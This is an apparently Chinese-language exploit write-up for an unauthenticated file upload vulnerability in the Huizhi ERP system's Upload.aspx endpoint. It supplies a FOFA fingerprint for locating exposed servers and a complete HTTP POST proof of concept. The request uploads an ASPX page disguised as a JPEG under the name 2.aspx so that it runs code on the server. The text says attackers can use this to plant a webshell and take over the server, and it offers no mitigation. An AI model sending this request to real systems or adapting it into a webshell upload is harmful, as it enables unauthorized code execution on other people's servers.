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汇智ERP系统Upload.aspx存在文件上传漏洞.md

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汇智ERP系统Upload.aspx存在文件上传漏洞

汇智企业资源管理系统Upload.aspx存在文件上传漏洞，攻击者可未授权上传webshell木马文件获取服务器权限。

fofa

icon_hash="-642591392"

poc

POST /nssys/common/Upload.aspx?Action=DNPageAjaxPostBack HTTP/1.1
Host: 
Content-Length: 1033
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryLkkAXATqVKBHZ8zk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJOTc0NzkxMzQ1D2QWAgIDDxYGHhdJc0JlZm9yZU9wZXJhdGVTYXZlRGF0YWgeBmlzZ3VpZAUBMR4OY2hlY2tmb3Jtc3RhdGUFATBkZHwobq1hNj9MTgjOtrIn/0gbCdhD
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

573D6CFB
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_Input"


------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_upload"; filename="1"
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
    <title>ASP.NET Web Forms Example</title>
</head>
<body>
    <%@ Page Language="C#" %>
    <% Response.Write("hello,world"); %>
</body>
</html>
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfilename"

2.aspx
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="dnpostmethodname"

uploadfile
------WebKitFormBoundaryLkkAXATqVKBHZ8zk--